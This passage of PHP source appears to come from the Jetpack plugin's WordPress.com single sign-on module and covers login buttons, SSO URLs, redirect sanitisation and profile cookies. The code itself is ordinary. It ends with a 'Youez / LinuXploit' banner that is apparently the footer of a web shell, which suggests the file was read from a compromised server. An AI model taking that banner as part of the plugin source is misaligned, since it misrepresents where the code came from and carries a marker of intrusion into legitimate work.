		/** This filter is documented in core/src/wp-includes/pluggable.php */
		do_action( 'wp_login_failed', $user_data->login );
		add_filter( 'login_message', array( 'Jetpack_SSO_Notices', 'cant_find_user' ) );
	}

	static function profile_page_url() {
		return admin_url( 'profile.php' );
	}

	/**
	 * Builds the "Login to WordPress.com" button that is displayed on the login page as well as user profile page.
	 *
	 * @param  array   $args       An array of arguments to add to the SSO URL.
	 * @param  boolean $is_primary Should the button have the `button-primary` class?
	 * @return string              Returns the HTML markup for the button.
	 */
	function build_sso_button( $args = array(), $is_primary = false ) {
		$url = $this->build_sso_button_url( $args );
		$classes = $is_primary
			? 'jetpack-sso button button-primary'
			: 'jetpack-sso button';

		return sprintf(
			'<a rel="nofollow" href="%1$s" class="%2$s"><span>%3$s %4$s</span></a>',
			esc_url( $url ),
			$classes,
			'<span class="genericon genericon-wordpress"></span>',
			esc_html__( 'Log in with WordPress.com', 'jetpack' )
		);
	}

	/**
	 * Builds a URL with `jetpack-sso` action and option args which is used to setup SSO.
	 *
	 * @param  array  $args An array of arguments to add to the SSO URL.
	 * @return string       The URL used for SSO.
	 */
	function build_sso_button_url( $args = array() ) {
		$defaults = array(
			'action'  => 'jetpack-sso',
		);

		$args = wp_parse_args( $args, $defaults );

		if ( ! empty( $_GET['redirect_to'] ) ) {
			$args['redirect_to'] = urlencode( esc_url_raw( $_GET['redirect_to'] ) );
		}

		return add_query_arg( $args, wp_login_url() );
	}

	/**
	 * Retrieves a WordPress.com SSO URL with appropriate query parameters or dies.
	 *
	 * @param  boolean  $reauth  Should the user be forced to reauthenticate on WordPress.com?
	 * @param  array    $args    Optional query parameters.
	 * @return string            The WordPress.com SSO URL.
	 */
	function get_sso_url_or_die( $reauth = false, $args = array() ) {
		if ( empty( $reauth ) ) {
			$sso_redirect = $this->build_sso_url( $args );
		} else {
			self::clear_wpcom_profile_cookies();
			$sso_redirect = $this->build_reauth_and_sso_url( $args );
		}

		// If there was an error retrieving the SSO URL, then error.
		if ( is_wp_error( $sso_redirect ) ) {
			$error_message = sanitize_text_field(
				sprintf( '%s: %s', $sso_redirect->get_error_code(), $sso_redirect->get_error_message() )
			);
			JetpackTracking::record_user_event( 'sso_login_redirect_failed', array(
				'error_message' => $error_message
			) );
			wp_die( $error_message );
		}

		return $sso_redirect;
	}

	/**
	 * Build WordPress.com SSO URL with appropriate query parameters.
	 *
	 * @param  array  $args Optional query parameters.
	 * @return string       WordPress.com SSO URL
	 */
	function build_sso_url( $args = array() ) {
		$sso_nonce = ! empty( $args['sso_nonce'] ) ? $args['sso_nonce'] : self::request_initial_nonce();
		$defaults = array(
			'action'       => 'jetpack-sso',
			'site_id'      => Jetpack_Options::get_option( 'id' ),
			'sso_nonce'    => $sso_nonce,
			'calypso_auth' => '1',
		);

		$args = wp_parse_args( $args, $defaults );

		if ( is_wp_error( $args['sso_nonce'] ) ) {
			return $args['sso_nonce'];
		}

		return add_query_arg( $args, 'https://wordpress.com/wp-login.php' );
	}

	/**
	 * Build WordPress.com SSO URL with appropriate query parameters,
	 * including the parameters necessary to force the user to reauthenticate
	 * on WordPress.com.
	 *
	 * @param  array  $args Optional query parameters.
	 * @return string       WordPress.com SSO URL
	 */
	function build_reauth_and_sso_url( $args = array() ) {
		$sso_nonce = ! empty( $args['sso_nonce'] ) ? $args['sso_nonce'] : self::request_initial_nonce();
		$redirect = $this->build_sso_url( array( 'force_auth' => '1', 'sso_nonce' => $sso_nonce ) );

		if ( is_wp_error( $redirect ) ) {
			return $redirect;
		}

		$defaults = array(
			'action'       => 'jetpack-sso',
			'site_id'      => Jetpack_Options::get_option( 'id' ),
			'sso_nonce'    => $sso_nonce,
			'reauth'       => '1',
			'redirect_to'  => urlencode( $redirect ),
			'calypso_auth' => '1',
		);

		$args = wp_parse_args( $args, $defaults );

		if ( is_wp_error( $args['sso_nonce'] ) ) {
			return $args['sso_nonce'];
		}

		return add_query_arg( $args, 'https://wordpress.com/wp-login.php' );
	}

	/**
	 * Determines local user associated with a given WordPress.com user ID.
	 *
	 * @since 2.6.0
	 *
	 * @param int $wpcom_user_id User ID from WordPress.com
	 * @return object Local user object if found, null if not.
	 */
	static function get_user_by_wpcom_id( $wpcom_user_id ) {
		$user_query = new WP_User_Query( array(
			'meta_key'   => 'wpcom_user_id',
			'meta_value' => intval( $wpcom_user_id ),
			'number'     => 1,
		) );

		$users = $user_query->get_results();
		return $users ? array_shift( $users ) : null;
	}

	/**
	 * When jetpack-sso-auth-redirect query parameter is set, will redirect user to
	 * WordPress.com authorization flow.
	 *
	 * We redirect here instead of in handle_login() because Jetpack::init()->build_connect_url
	 * calls menu_page_url() which doesn't work properly until admin menus are registered.
	 */
	function maybe_authorize_user_after_sso() {
		if ( empty( $_GET['jetpack-sso-auth-redirect'] ) ) {
			return;
		}

		$redirect_to = ! empty( $_GET['redirect_to'] ) ? esc_url_raw( $_GET['redirect_to'] ) : admin_url();
		$request_redirect_to = ! empty( $_GET['request_redirect_to'] ) ? esc_url_raw( $_GET['request_redirect_to'] ) : $redirect_to;

		/** This filter is documented in core/src/wp-login.php */
		$redirect_after_auth = apply_filters( 'login_redirect', $redirect_to, $request_redirect_to, wp_get_current_user() );

		/**
		 * Since we are passing this redirect to WordPress.com and therefore can not use wp_safe_redirect(),
		 * let's sanitize it here to make sure it's safe. If the redirect is not safe, then use admin_url().
		 */
		$redirect_after_auth = wp_sanitize_redirect( $redirect_after_auth );
		$redirect_after_auth = wp_validate_redirect( $redirect_after_auth, admin_url() );

		/**
		 * Return the raw connect URL with our redirect and attribute connection to SSO.
		 */
		$connect_url = Jetpack::init()->build_connect_url( true, $redirect_after_auth, 'sso' );

		add_filter( 'allowed_redirect_hosts', array( 'Jetpack_SSO_Helpers', 'allowed_redirect_hosts' ) );
		wp_safe_redirect( $connect_url );
		exit;
	}

	/**
	 * Cache user's display name and Gravatar so it can be displayed on the login screen. These cookies are
	 * stored when the user logs out, and then deleted when the user logs in.
	 */
	function store_wpcom_profile_cookies_on_logout() {
		if ( ! Jetpack::is_user_connected( get_current_user_id() ) ) {
			return;
		}

		$user_data = $this->get_user_data( get_current_user_id() );
		if ( ! $user_data ) {
			return;
		}

		setcookie(
			'jetpack_sso_wpcom_name_' . COOKIEHASH,
			$user_data->display_name,
			time() + WEEK_IN_SECONDS,
			COOKIEPATH,
			COOKIE_DOMAIN
		);

		setcookie(
			'jetpack_sso_wpcom_gravatar_' . COOKIEHASH,
			get_avatar_url(
				$user_data->email,
				array( 'size' => 144, 'default' => 'mystery' )
			),
			time() + WEEK_IN_SECONDS,
			COOKIEPATH,
			COOKIE_DOMAIN
		);
	}

	/**
	 * Determines if a local user is connected to WordPress.com
	 *
	 * @since 2.8
	 * @param integer $user_id - Local user id
	 * @return boolean
	 **/
	public function is_user_connected( $user_id ) {
		return $this->get_user_data( $user_id );
	}

	/**
	 * Retrieves a user's WordPress.com data
	 *
	 * @since 2.8
	 * @param integer $user_id - Local user id
	 * @return mixed null or stdClass
	 **/
	public function get_user_data( $user_id ) {
		return get_user_meta( $user_id, 'wpcom_user_data', true );
	}
}

Jetpack_SSO::get_instance();

Youez - 2016 - github.com/yon3zu
LinuXploit